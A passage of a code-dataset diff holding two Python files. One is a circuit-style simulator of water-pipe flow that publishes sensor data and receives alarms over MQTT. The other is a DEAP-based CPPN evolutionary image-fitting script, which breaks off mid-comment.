diff --git "a/4823.jsonl" "b/4823.jsonl" new file mode 100644--- /dev/null +++ "b/4823.jsonl" @@ -0,0 +1,786 @@ +{"seq_id":"326016477","text":"\"\"\"Teoria de circuitos.\"\"\"\nimport uuid\nimport logging\nfrom string import Template\nimport numpy as np\n\nimport ssl\nimport sys\n\nimport paho.mqtt.client as paho\nimport json\nimport time\n\nTYPE_ERROR_STR = Template('Only allowed $value of type $type')\n\nbroker=\"40.68.175.17\"\nport=1883\n\n\ndef _find_node(pin, lon):\n \"\"\"Return node index in lon.\"\"\"\n for index, node in enumerate(lon):\n if pin in node:\n return index\n return None\n\nclass Element:\n \"\"\"Element class.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize Base Properties.\"\"\"\n self._ddp = float('inf')\n self._res = float('inf')\n self._cur = float('inf')\n self._one = uuid.uuid4()\n self._two = uuid.uuid4()\n\n @property\n def one(self):\n \"\"\"Object connected in Pin 1.\"\"\"\n return self._one\n\n @property\n def two(self):\n \"\"\"Object connected in Pin 2.\"\"\"\n return self._two\n\n @property\n def ddp(self):\n \"\"\"Property of ddp.\"\"\"\n return self._ddp\n\n @ddp.setter\n def ddp(self, val):\n if not isinstance(val, float):\n raise TypeError(TYPE_ERROR_STR.substitute(value='val', type='float'))\n self._ddp = val\n\n @property\n def res(self):\n \"\"\"Property of res.\"\"\"\n return self._res\n\n @res.setter\n def res(self, val):\n if not isinstance(val, float):\n raise TypeError(TYPE_ERROR_STR.substitute(value='val', type='float'))\n self._res = val\n\n @property\n def cur(self):\n \"\"\"Property of cur.\"\"\"\n return self._cur\n\n @cur.setter\n def cur(self, val):\n if not isinstance(val, float):\n raise TypeError(TYPE_ERROR_STR.substitute(value='val', type='float'))\n self._cur = val\n\nclass PowerSrc(Element):\n \"\"\"Power Generator Element.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Initialize PowerSrc Properties.\"\"\"\n super().__init__()\n self._ddp = kwargs.pop('ddp', float('inf'))\n\nclass Transducers(Element):\n \"\"\"Transducers Element.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Initialize Transducers Properties.\"\"\"\n super().__init__()\n self._res = kwargs.pop('res', float('inf'))\n\nclass FlowSrc(Element):\n \"\"\"Flow Generator Element.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Initialize FlowSrc Properties.\"\"\"\n super().__init__()\n self._cur = kwargs.pop('cur', float('inf'))\n\nclass Simulator:\n \"\"\"Engine to process conservative energy circuits.\n Could be registered Potential Sources, Transducers and Flow Maintainers or Flow Sources.\n\n All components registered must be fully connected between them.\n \"\"\"\n\n def __init__(self):\n \"\"\"Initialize values.\"\"\"\n self._net_list = set()\n self.__node_list = list()\n self.__known_nodes = list()\n self.__unknown_nodes = list()\n self.__reference_node = 0\n self.__ref = None\n self._components = dict()\n self.logger = logging.getLogger()\n\n @property\n def reference(self):\n \"\"\"Reference pin.\"\"\"\n return self.__ref\n\n @reference.setter\n def reference(self, pin):\n \"\"\"Reference pin.\"\"\"\n if not isinstance(pin, uuid.UUID):\n raise TypeError(TYPE_ERROR_STR.substitute(value='pin', type='uuid.UUID'))\n\n pin_found = False\n for net in self._net_list:\n if pin in net:\n pin_found = True\n\n if not pin_found:\n raise AttributeError('Component pin not found to assign as reference point.')\n self.__ref = pin\n\n def _initialize_vectors(self):\n \"\"\"Init simulation vectors for a new simulation cycle.\"\"\"\n self.__node_list = list()\n self.__known_nodes = list()\n self.__unknown_nodes = list()\n self.__reference_node = 0\n self.logger.debug('Variables Initialized!')\n self.logger.debug('\\t %s %s %s %s', \n self.__node_list,\n self.__known_nodes,\n self.__unknown_nodes,\n self.__reference_node)\n\n def _find_component(self, pin):\n \"\"\"Return a found component.\"\"\"\n for component in self._components.values():\n if pin in (component.one, component.two):\n return component\n return None\n\n def _generate_node_list(self):\n \"\"\"Create the list of nodes.\"\"\"\n for net in self._net_list:\n if len(self.__node_list) == 0:\n self.__node_list.append([net[0], net[1]])\n else:\n found = False\n for node in self.__node_list:\n if net[0] in node:\n node.append(net[1])\n found = True\n break\n if net[1] in node:\n node.append(net[0])\n found = True\n break\n if not found:\n self.__node_list.append([net[0], net[1]])\n\n for index, node in enumerate(self.__node_list):\n self.logger.debug('NODE%s: %s', index, node)\n\n #TODO Locate only connected components (Not components on air)\n def _generate_pre_sim_net_list(self):\n \"\"\"NODE ALGORITHM STEP 1: Locate nets\n Check all nodes and generate the components and node net list.\n \"\"\"\n comp_net_list = list()\n node_checked = list()\n node_not_checked = [0]\n while len(node_checked) != len(self.__node_list):\n update_node_list = node_not_checked.copy()\n for node in update_node_list:\n for pin in self.__node_list[node]:\n target_comp = self._find_component(pin)\n node_one = _find_node(target_comp.one, self.__node_list)\n node_two = _find_node(target_comp.two, self.__node_list)\n target_node = node_one if node_one != node else node_two\n if target_node not in node_checked:\n comp_net_list.append([node, target_node, target_comp])\n if target_node not in node_not_checked:\n node_not_checked.append(target_node)\n if node not in node_checked:\n node_checked.append(node)\n node_not_checked.remove(node)\n\n for index, net in enumerate(comp_net_list):\n self.logger.debug('COMP_NET%s: %s', index, net)\n\n return comp_net_list\n\n def _get_reference_node(self):\n \"\"\"NODE ALGORITHM STEP 2: Select a reference node\n Extract reference node from list of nodes.\n \"\"\"\n if self.__ref is None:\n max_len = max([len(node) for node in self.__node_list])\n self.__reference_node = [index for index, node in enumerate(self.__node_list)\n if max_len == len(node)][0]\n else:\n self.__reference_node = [index for index, node in enumerate(self.__node_list)\n if self.__ref in node][0]\n self.logger.info('REFERENCE NODE %s %s',\n 'EVALUATED' if self.__ref is None else 'FORCED',\n self.__reference_node)\n\n def _get_known_nets(self, comp_net_list):\n \"\"\"NODE ALGORITHM STEP 3.1: Extract the node algoritm known nets.\n A known net is the net associated to a PowerSrc component.\n \"\"\"\n known_nets = [net for net in comp_net_list\n if self.__reference_node in net and isinstance(net[2], PowerSrc)]\n self.logger.debug('KNOWN NETS: %s', known_nets)\n return known_nets\n\n def _get_known_nodes(self, known_nets):\n \"\"\"NODE ALGORITHM STEP 3.2: Extract the node algoritm known nodes.\n Identify the known nodes of the node algoritm.\n \"\"\"\n for net in known_nets:\n if net[0] not in self.__known_nodes:\n self.__known_nodes.append(net[0])\n if net[1] not in self.__known_nodes:\n self.__known_nodes.append(net[1])\n self.logger.debug('KNOWN NODES: %s', self.__known_nodes)\n\n def _get_unknown_nodes(self):\n \"\"\"NODE ALGORITHM STEP 4: Conform the vector of u nknown nodes to look for the node\n ecuations.\n\n Extract from the self.__node_list all the nodes not present in self.__known_nodes.\n \"\"\"\n self.__unknown_nodes = [index for index, node in enumerate(self.__node_list)\n if index not in self.__known_nodes]\n self.logger.debug('UNKNOWN NODES: %s', self.__unknown_nodes)\n\n def _find_target_net(self, comp_net_list, target_component):\n \"\"\"Find information of the node unknown to check.\"\"\"\n target_net = [net for net in comp_net_list if target_component in net][0]\n self.logger.debug('\\t COMPONENT NET: C_NET%s', target_net)\n\n return target_net\n\n def _extreme_known_value(self, known_nets, extreme_node):\n \"\"\"Calculate a node coeficient pair.\"\"\"\n extreme_net = [net for net in known_nets if extreme_node in (net[0], net[1])][0]\n self.logger.debug('\\t EXTREME NET: %s', extreme_net)\n value_sign = 1.0 if extreme_net[2].one in self.__node_list[extreme_node] else -1.0\n extreme_value = extreme_net[2].ddp*value_sign\n self.logger.debug('\\t EXTREME POWER VALUE: %s', extreme_value)\n return extreme_value\n\n def _nodes_checker(self, node, known_nets, comp_net_list):\n result = 0.0\n coeficients = list()\n for pin in self.__node_list[node]:\n self.logger.debug('-- CHECKING NODE%s: PIN=%s --', node, pin)\n # Busqueda de nodo extremo\n target_comp = self._find_component(pin)\n self.logger.debug('\\t TARGET COMPONENT: %s', target_comp)\n target_net = self._find_target_net(comp_net_list, target_comp)\n\n extreme_node = target_net[1] if target_net[0] == node else target_net[0]\n self.logger.debug('\\t EXTREME NODE: %s', extreme_node)\n\n if isinstance(target_comp, Transducers):\n self.logger.debug('\\t COMPONENT TYPE: Transducers')\n coeficients.append((node, 1.0/target_comp.res))\n\n if extreme_node in self.__known_nodes:\n if extreme_node != self.__reference_node:\n raw_value = self._extreme_known_value(known_nets, extreme_node)\n result += raw_value/target_comp.res\n else:\n raw_value = -1.0/target_comp.res\n coeficients.append((extreme_node, raw_value))\n\n if isinstance(target_comp, FlowSrc):\n self.logger.debug('\\t COMPONENT TYPE: FlowSrc')\n result += target_comp.cur if pin == target_comp.one else -target_comp.cur\n self.logger.debug('\\t CONSTANT VALUE: %s', result)\n self.logger.debug('\\t COEFICIENTS VALUES: %s', coeficients)\n\n return result, coeficients\n\n def _analize_node(self, node, known_nets, comp_net_list):\n result, coeficients = self._nodes_checker(node, known_nets, comp_net_list)\n\n full_coefs = list(range(len(self.__unknown_nodes)))\n for index, u_node in enumerate(self.__unknown_nodes):\n res_coef = 0.0\n for coef in coeficients:\n if coef[0] == u_node:\n res_coef += coef[1]\n full_coefs[index] = res_coef\n return (result, full_coefs.copy())\n\n def _linear_solve_equations(self, equation_matrix):\n \"\"\"Solve linear matrix.\"\"\"\n contants_vector = np.array([el[0] for el in equation_matrix])\n coeficients_vector = np.array([el[1] for el in equation_matrix])\n\n solutions_vector = None\n attempts = 10#MAX_ATTEMPTS\n while attempts > 1:\n try:\n solutions_vector = list(np.linalg.solve(coeficients_vector, contants_vector))\n attempts = 0\n except np.linalg.LinAlgError as exception:\n attempts -= 1\n if attempts == 1:\n self.logger.error(exception)\n\n self.logger.debug('MATRIX SOLUTIONS: %s', solutions_vector)\n return solutions_vector\n\n def _solve_linear_unknown_powers(self, node_powers_vector, known_nets, comp_net_list):\n unknown_equation_matrix = list()\n for node in self.__unknown_nodes:\n # Por cada pin en el nodo:\n node_equation = self._analize_node(node, known_nets, comp_net_list)\n unknown_equation_matrix.append(node_equation)\n self.logger.debug('\\t MATRIX UPDATE: %s', unknown_equation_matrix)\n self.logger.debug('FINAL MATRIX: %s', unknown_equation_matrix)\n unknown_solutions = self._linear_solve_equations(unknown_equation_matrix)\n\n for index, node in enumerate(self.__unknown_nodes):\n node_powers_vector[node] = unknown_solutions[index]\n\n self.logger.debug('POWER SOLUTIONS: %s', node_powers_vector)\n\n #TODO: Known Node Error\n def _solve_known_powers(self, node_powers_vector, known_nets):\n for net in known_nets:\n node = net[1] if self.__reference_node == net[0] else net[0]\n value = net[2].ddp if net[2].one in self.__node_list[node] else -net[2].ddp\n node_powers_vector[node] = value\n self.logger.debug('POWER SOLUTIONS: %s', node_powers_vector)\n\n def _update_component_values(self, comp_net_list, node_powers_vector):\n for net in comp_net_list:\n net_order = 1.0 if net[2].one in self.__node_list[net[0]] else -1.0\n net_ddp = (node_powers_vector[net[0]] - node_powers_vector[net[1]])*net_order\n\n if isinstance(net[2], Transducers):\n net[2].ddp = net_ddp\n net[2].cur = net_ddp / net[2].res\n elif isinstance(net[2], FlowSrc):\n net[2].ddp = net_ddp\n net[2].res = float('inf')\n else:\n net[2].res = 0.0\n\n for sim_net in comp_net_list:\n if isinstance(sim_net[2], PowerSrc):\n check_node = sim_net[0] if sim_net[0] != self.__reference_node else sim_net[1]\n calc_cur = 0.0\n for pin in self.__node_list[check_node]:\n check_comp = self._find_component(pin)\n if not isinstance(check_comp, PowerSrc):\n comp_cur = [search_net[2].cur for search_net in comp_net_list\n if check_comp == search_net[2]][0]\n cur_sign = 1.0 if check_comp.two in self.__node_list[check_node] else -1.0\n calc_cur += comp_cur * cur_sign\n sim_net[2].cur = calc_cur\n\n def _check_net_list(self):\n \"\"\"Check unconnected components in the list.\"\"\"\n for c_name, c_comp in self._components.copy().items():\n found_pin_one = False\n for conn_tuple in self._net_list:\n if c_comp.one in conn_tuple:\n found_pin_one = True\n\n found_pin_two = False\n for conn_tuple in self._net_list:\n if c_comp.two in conn_tuple:\n found_pin_two = True\n\n if not found_pin_one and not found_pin_two:\n self._components.pop(c_name)\n self.logger.info('Removed unused component %s.', c_name)\n elif not found_pin_one:\n raise AttributeError(f'Component {c_name} pin one on the air.')\n elif not found_pin_two:\n raise AttributeError(f'Component {c_name} pin one on the air.')\n\n def connect(self, node_l, node_r):\n \"\"\"Connect Elements.\"\"\"\n if not isinstance(node_r, uuid.UUID):\n self.logger.debug(type(node_l))\n raise TypeError(TYPE_ERROR_STR.safe_substitute(value='node_r', type='uuid.UUID'))\n\n if not isinstance(node_l, uuid.UUID):\n self.logger.debug(type(node_l))\n raise TypeError(TYPE_ERROR_STR.safe_substitute(value='node_l', type='uuid.UUID'))\n\n if node_l != node_r and (node_r, node_l) not in self._net_list:\n self._net_list.add((node_l, node_r))\n\n def print_components_info(self):\n \"\"\"Display information of the components to simulate.\"\"\"\n headers = ['Components', ' Power ', 'Flow', 'Transmitance']\n self.logger.info('-'*55)\n self.logger.info('| {0:^10} | {1:^10} | {2:^10} | {3:^12} |'.format(*headers))\n self.logger.info('-'*55)\n for key, comp in self._components.items():\n str_out = f'| {key:<10} | {comp.ddp:>10.5f} | {comp.cur:>10.5f} | {comp.res:>12.5f} |'\n self.logger.info(str_out)\n self.logger.info('-'*55)\n\n def simulate(self):\n \"\"\"Simulate the components properly connected.\"\"\"\n if len(self._components) <= 2:\n raise AttributeError('Add some components to the list.')\n\n self._check_net_list()\n self._initialize_vectors()\n self._generate_node_list()\n comp_net_list = self._generate_pre_sim_net_list()\n self._get_reference_node()\n\n known_nets = self._get_known_nets(comp_net_list)\n self._get_known_nodes(known_nets)\n self._get_unknown_nodes()\n\n # Solve Unknown Nodes\n node_powers_vector = list(range(len(self.__node_list)))\n node_powers_vector[self.__reference_node] = 0.0\n if len(self.__unknown_nodes) > 0:\n self._solve_linear_unknown_powers(node_powers_vector, known_nets, comp_net_list)\n\n self._solve_known_powers(node_powers_vector, known_nets)\n\n self._update_component_values(comp_net_list, node_powers_vector)\n self.print_components_info()\n\n def register_component(self, name, component):\n \"\"\"Add a component to the Simulator component list.\"\"\"\n if not isinstance(name, str):\n raise TypeError(TYPE_ERROR_STR.substitute(value='name', type='str'))\n\n if not isinstance(component, Element):\n raise TypeError(TYPE_ERROR_STR.substitute(value='component', type='Element'))\n\n if name in self._components:\n raise AttributeError('Name component is already in the list. Names must be unique.')\n\n for c_name, c_el in self._components.items():\n if component == c_el:\n raise AttributeError('component is already in the list.')\n\n self._components[name] = component\n\n def deregister_component(self, name):\n \"\"\"Remove a component from the Simulator component list.\n All the connections will be removed!\n \"\"\"\n if not isinstance(name, str):\n raise TypeError(TYPE_ERROR_STR.substitute(value='name', type='str'))\n\n component_to_remove = self.get_component(name)\n\n for conn_tuple in self._net_list.copy():\n if component_to_remove.one in conn_tuple or component_to_remove.two in conn_tuple:\n self._net_list.remove(conn_tuple)\n\n return self._components.pop(name)\n\n def get_component(self, name):\n \"\"\"Return the component Identify by the string name.\"\"\"\n if not isinstance(name, str):\n raise TypeError(TYPE_ERROR_STR.substitute(value='name', type='str'))\n\n if name not in self._components:\n raise AttributeError('Component not found.')\n\n return self._components[name]\n\n\ndef component_data(component, id, unit): # prepare mqtt message\n jcomp = dict()\n jcomp[\"id\"] = id\n jcomp[\"flow\"] = round(EXAMPLE_SIM.get_component(component).cur,4)\n jcomp[\"unit\"] = unit\n jcomp[\"timestamp\"] = time.time()\n msgcomp = json.dumps(jcomp)\n return msgcomp\n\ndef on_publish(client,userdata,result): #create function for callback\n print(index+\" \"+\"data published succesfully\")\n\ndef on_connect(client, userdata, flags, rc):\n print('connected (%s)' % client._client_id)\n client.subscribe(topic='floors/floor1/alarms', qos=0)\n\ndef on_message(client, userdata, message):\n print('------------------------------')\n print('topic: %s' % message.topic)\n print('payload: %s' % message.payload)\n print('qos: %d \\n' % message.qos)\n print('PUMP: V_ONE TURNED OFF')\n EXAMPLE_SIM.register_component('V_ONE', PowerSrc(ddp=0))\n print('------------------------------')\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n EXAMPLE_SIM = Simulator()\n\n EXAMPLE_SIM.register_component('V_ONE', PowerSrc(ddp=2))\n EXAMPLE_SIM.register_component('V_TWO', PowerSrc(ddp=1))\n EXAMPLE_SIM.register_component('I_ONE', FlowSrc(cur=1))\n EXAMPLE_SIM.register_component('R_ONE', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_TWO', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_THREE', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_FOUR', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_FIVE', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_SIX', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_SEVEN', Transducers(res=1))\n EXAMPLE_SIM.register_component('R_EIGHT', Transducers(res=1))\n\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('V_ONE').one,\n EXAMPLE_SIM.get_component('R_ONE').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('V_ONE').one,\n EXAMPLE_SIM.get_component('R_TWO').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_ONE').two,\n EXAMPLE_SIM.get_component('R_THREE').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_TWO').two,\n EXAMPLE_SIM.get_component('R_THREE').two)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_THREE').two,\n EXAMPLE_SIM.get_component('R_FOUR').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_FOUR').two,\n EXAMPLE_SIM.get_component('V_ONE').two)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_ONE').two,\n EXAMPLE_SIM.get_component('R_SIX').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_ONE').two,\n EXAMPLE_SIM.get_component('R_FIVE').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_FIVE').two,\n EXAMPLE_SIM.get_component('I_ONE').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('I_ONE').two,\n EXAMPLE_SIM.get_component('V_ONE').two)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_SIX').two,\n EXAMPLE_SIM.get_component('R_SEVEN').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_SIX').two,\n EXAMPLE_SIM.get_component('R_EIGHT').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_SEVEN').two,\n EXAMPLE_SIM.get_component('V_ONE').two)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('R_EIGHT').two,\n EXAMPLE_SIM.get_component('V_TWO').one)\n EXAMPLE_SIM.connect(EXAMPLE_SIM.get_component('V_TWO').two,\n EXAMPLE_SIM.get_component('V_ONE').two)\n\n #EXAMPLE_SIM.deregister_component('V_ONE')\n\n EXAMPLE_SIM.simulate()\n\n publish_list={\n \"R_ONE\":\"pipe1-sensor1\",\n \"R_TWO\":\"pipe1-sensor2\",\n \"R_THREE\":\"pipe1-sensor3\",\n \"R_FOUR\":\"pipe2-sensor1\",\n \"R_FIVE\":\"pipe2-senor2\",\n \"R_SIX\":\"pipe3-sensor3\",\n # \"R_SEVEN\":\"pipe3-sensor1\",\n # \"R_EIGHT\":\"pipe3-sensor2\",\n # \"R_NINE\":\"pipe3-sensor3\",\n # \"R_TEN\":\"pipe4-sensor1\",\n # \"R_ELEVEN\":\"pipe4-sensor2\",\n # \"R_TWELVE\":\"pipe4-sensor3\"\n }\n\n client = paho.Client(\"pipelines\") # create client object for publishing\n client.connect(broker, port) # establish connection\n client.on_publish = on_publish # assign function to callback\n\n for index in publish_list:\n msgcomp = component_data(index,publish_list[index], \"L/min\")\n ret = client.publish(\"floors/floor1/data\", msgcomp) # publish\n\n #mqtt subscriber\n #clientS = paho.Client(client_id='waterpumps', clean_session=False)\n client.on_connect = on_connect\n client.on_message = on_message\n client.connect(broker, port)\n client.loop_forever()\n","sub_path":"pipes-devices/devices/python/main/src/multi_device_client.py","file_name":"multi_device_client.py","file_ext":"py","file_size_in_byte":24335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22397633","text":"'''\nThis file contains all code for implementing CPPN using DEAP\nIt is very similar to the deapea file but this file implements\nCPPN using the d parameter, which passes more information about the\npicture being fitted to the CPPN\n'''\n\nimport sys\nimport os\n\nfrom deap import base, tools, algorithms, creator\nimport argparse\nimport numpy as np\nimport pickle\nfrom scoop import futures\n\nfrom FULL_CPPN_struct import Genotype\nfrom FULL_CPPN_deaphelp import weightMutate, conMutate, nodeMutate, xover, xover_avg, actMutate, save_population\nfrom FULL_CPPN_deaphelp import examine_population_dmat, get_file_name\nfrom FULL_CPPN_innovation import GlobalInnovation\nfrom FULL_CPPN_evalg import getSharingMatrix, speciatePopulationFirstTime, speciatePopulationNotFirstTime\nfrom FULL_CPPN_evalg import getFittestFromSpecies, getNicheCounts, binarySelect\n#from FULL_CPPN_vis import visConnections, visHiddenNodes, findNumGoodSolutions\nfrom FULL_CPPN_evaluation import evaluate_classification, evaluate_pic, evaluate_pic_scoop, assign_fit_scoop\nfrom FULL_CPPN_evaluation import evaluate_pic_dparam\n#from FULL_CPPN_gendata import genGaussianData, genCircularData, genXORData\nfrom FULL_CPPN_getpixels import getBinaryPixels, getNormalizedInputs, get_d_mat#, graphImage\n\n# set up arguments to be parsed from the terminal\nparser = argparse.ArgumentParser()\nparser.add_argument(\"path\", type=str, \n\thelp=\"filepath to image that is being tested.\")\nparser.add_argument(\"seed\", type=int, \n\thelp=\"Seed number for the current experiment.\")\n'''\nparser.add_argument(\"weight\", type=int, \n\thelp=\"Weight Mutation probability.\")\nparser.add_argument(\"node\", type=int, \n\thelp=\"Node Mutation Probability.\")\nparser.add_argument(\"con\", type=int, \n\thelp=\"Connection Mutation Probability.\")\nparser.add_argument(\"act\", type=int, \n\thelp=\"Activation Mutation Probability.\")\nparser.add_argument(\"cross\", type=int, \n\thelp=\"Crossover probability.\")\n'''\nargs = parser.parse_args()\n\n\n# set numpy seed number for all random numbers\nSEED = args.seed\nnp.random.seed(SEED)\n\n# the following variables are used to track the improvement of species over generations\n# if a species' fitness becomes stagnant - it is penalized\nMIN_NUM_STAGNANT_GENERATIONS = 35\nSTAGNATION_THRESHOLD = 1.05\nLAST_FITNESS = []\nCURRENT_STAG_GENS = []\n\n# the following is used for modifying the speciation threshold\nGENERATION_TO_MODIFY_THRESH = 30 # this is the first generation that the threshold can begin being adjusted\nDESIRED_NUM_SPECIES = 5\nTHRESH_MOD = .1\nLAST_NUM_SPECIES = -1\n\n# the following is the minimum proportion of material a solution must use \n# to not be penalized\nMATERIAL_PENALIZATION_THRESHOLD = .1\nMATERIAL_UNPRESENT_PENALIZATION = 2\n\n# this value is what the d parameter weight should be initialized as\nD_PARAM_WEIGHT = 1.16\n\n# sets global parameters for 2D structure being created by CPPN, generates inputs\nNORM_IN_FILE = open(\"norm_in.txt\", \"wb\")\nNUM_X = 75\nNUM_Y = 75\nNORM_IN = getNormalizedInputs(NUM_X, NUM_Y)\npickle.dump(NORM_IN, NORM_IN_FILE)\n\n\n# must get filename from parser to complete file path\nFILE_PATH = './fitting_images/' + args.path\nPIXELS = getBinaryPixels(FILE_PATH, NUM_X, NUM_Y)\n\n\n# generate the d parameter matrix and serialize it \nprint(\"Generating distances matrix . . .\")\nD_MAT_FILE = open(\"d_mat.txt\", \"wb\")\nd_mat = get_d_mat(PIXELS, NUM_X, NUM_Y)\npickle.dump(d_mat, D_MAT_FILE)\nprint(\"Finished distances matrix . . . \")\n\n\n\n''' ----- REGISTER ALL FUNCTIONS AND CLASSES WITH DEAP ----- '''\n\n# create class for maximizing fitness and creating individual\n# must name fitness atribute fit_obj because fitness is a instance variable of Genotype class\ncreator.create(\"FitnessMax\", base.Fitness, weights = (1.0,))\ncreator.create(\"Individual\", Genotype, fit_obj = creator.FitnessMax) \n\n# initialize the toolbox\ntoolbox = base.Toolbox()\n\n# register function to create individual in the toolbox\nNUM_IN = 3\nNUM_OUT = 1\ntoolbox.register(\"individual\", creator.Individual, NUM_IN, NUM_OUT)\n\n# register function to create population in the toolbox\nPOP_SIZE = 100\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.individual, n = POP_SIZE)\n\n# register all functions needed for evolution in the toolbox\nTOURN_SIZE = 3\ntoolbox.register(\"evaluate\", evaluate_pic_dparam)\ntoolbox.register(\"assign_fit\", assign_fit_scoop)\ntoolbox.register(\"select\", binarySelect)\ntoolbox.register(\"tournSelect\", tools.selTournament, fit_attr = \"fitness\")\ntoolbox.register(\"mate\", xover_avg)\ntoolbox.register(\"weightMutate\", weightMutate)\ntoolbox.register(\"connectionMutate\", conMutate)\ntoolbox.register(\"nodeMutate\", nodeMutate)\ntoolbox.register(\"activationMutate\", actMutate)\ntoolbox.register(\"map\", futures.map)\n\n\n'''\nthe main function for the DEAP evolutionary algorithm\nthe main EA loop is contained inside of this function\nNOTE: pop size is set where the population function is registered\n'''\ndef main(nGen, weightMutpb, nodeMutpb, conMutpb, cxPb, actMutpb, thresh, alpha, theta1, theta2, theta3, numIn, numOut):\n\tpop = toolbox.population()\n\n\t# change the weights for all individuals to intially find the perfect shape\n\tfor ind in pop:\n\t\tind.connections[0].setWeight(0)\n\t\tind.connections[1].setWeight(0)\n\t\tind.connections[2].setWeight(D_PARAM_WEIGHT)\n\t\tind.connections[3].setWeight(0)\n\n\t# use global innovation object to track the creation of new innovation numbers during evolution\n\tgb = GlobalInnovation(numIn, numOut)\n\n\n\t# used to check whether a species fitness becomes stagnant\n\tLAST_FITNESS = []\t\n\tCURRENT_STAG_GENS = []\n\n\tfor g in range(NGEN):\n\t\tprint(\"RUNNING GENERATION \" + str(g))\n\n\t\t# use the following conditional to visualize certain properties of population near end of evolution\n\t\t#if(g == NGEN - 1):\n\t\t#\tvisConnections(pop)\n\t\t#\tvisHiddenNodes(pop)\n\n\t\t# create a 2D array representing species from the population\n\t\tif(g == 0):\n\t\t\tspecies = speciatePopulationFirstTime(pop, thresh, theta1, theta2, theta3)\n\t\telse:\n\t\t\tspecies = speciatePopulationNotFirstTime(pop, thresh, theta1, theta2, theta3)\n\n\t\t# determine if speciation threshold needs to be modified and apply modification\n\t\t# decrease threshold slowly to increase species, but increase quickly to keep to many\n\t\t# species from forming - thus the terms being different sizes\n\t\tif(g >= GENERATION_TO_MODIFY_THRESH):\n\t\t\tnumSpecies = len(species)\n\t\t\t# increase threshold if there are too many species and the number is still increasing\n\t\t\tif(numSpecies > DESIRED_NUM_SPECIES):\n\t\t\t\tif(LAST_NUM_SPECIES == -1 or numSpecies > LAST_NUM_SPECIES):\n\t\t\t\t\tthresh += THRESH_MOD*2.0\n\t\t\t# decrease theshold if there are too many species and the number of species is not increasing\n\t\t\telif(numSpecies < DESIRED_NUM_SPECIES):\n\t\t\t\tif(LAST_NUM_SPECIES == -1 or numSpecies <= LAST_NUM_SPECIES):\n\t\t\t\t\tthresh -= (THRESH_MOD/2.0)\n\n\n\t\t# find all fitness values for individuals in population, update fitness tracking for species\n\t\tfor specInd in range(len(species)):\n\t\t\tavgSpecFit = 0.0\n\t\t\t# only the output pixels are mapped back, all evaluation must be done below\n\t\t\toutputs = toolbox.map(toolbox.evaluate, species[specInd])\n\t\t\toutput_tups = []\n\t\t\tfor o in outputs:\n\t\t\t\toutput_tups.append((o[0], PIXELS, len(species[specInd]), \n\t\t\t\t\t\tMATERIAL_PENALIZATION_THRESHOLD, MATERIAL_UNPRESENT_PENALIZATION))\n\n\t\t\t# map all outputs to the genotypes with their actual fitness assigned\n\t\t\tfitnesses = toolbox.map(toolbox.assign_fit, output_tups)\t\t\n\t\t\torg_ind = 0\n\t\t\tfor f in fitnesses:\n\t\t\t\tgen = species[specInd][org_ind]\n\t\t\t\tavgSpecFit += f[0]\n\t\t\t\tgen.fit_obj.values = f\n\t\t\t\tgen.fitness = f[0]\n\t\t\t\torg_ind += 1\n\n\t\t\t# must find average fitness of species to compare against previous generation and see if species is stagnant\n\t\t\tavgSpecFit /= len(species[specInd])\n\t\t\t\n\t\t\t'''\n\t\t\torg_ind = 0\n\t\t\tfor out in outputs:\n\t\t\t\tgen = species[specInd][org_ind]\n\t\t\t\tout = out[0] # original list is inside of a tuple with the genotype\n\t\t\t\tproportion_mat_used = float(np.sum(out))/len(PIXELS)\n\t\t\t\tpenalization = 1.0\n\t\t\t\tif(proportion_mat_used <= MATERIAL_PENALIZATION_THRESHOLD):\n\t\t\t\t\tpenalization = 2.0 * (MATERIAL_PENALIZATION_THRESHOLD / (proportion_mat_used + .001))\n\t\t\t\t# find difference between the two pixel arrays\n\t\t\t\tones_arr = np.ones((1, len(PIXELS)))\n\t\t\t\tdiff = np.subtract(PIXELS, out)\n\t\t\t\tdiff[diff>=.5] *= MATERIAL_UNPRESENT_PENALIZATION\n\t\t\t\tdiff = np.fabs(diff)\n\t\t\t\ttotal_fit = (np.sum(np.subtract(ones_arr, diff)))/(len(species[specInd])*penalization)\n\n\t\t\t\t# actual fitness value must be divided by the number of individuals in a given species\n\t\t\t\t# this keeps any given species from taking over a population - speciation fosters diversity\n\t\t\t\tavgSpecFit += total_fit\n\t\t\t\tgen.fit_obj.values = (total_fit,)\n\t\t\t\tgen.fitness = total_fit\n\t\t\t\tspec_list.append(gen)\n\t\t\t\torg_ind += 1\n\t\t\t'''\n\t\t\t\n\t\t\t# check if fitness is stagnant for current generations and update stagnant counter appropriately\n\t\t\tif(specInd < len(LAST_FITNESS)):\n\t\t\t\tif(avgSpecFit/LAST_FITNESS[specInd] <= STAGNATION_THRESHOLD):\n\t\t\t\t\tCURRENT_STAG_GENS[specInd] = CURRENT_STAG_GENS[specInd] + 1\n\t\t\t\telse:\n\t\t\t\t\t# reset stagnation counter is a species improves enough to be 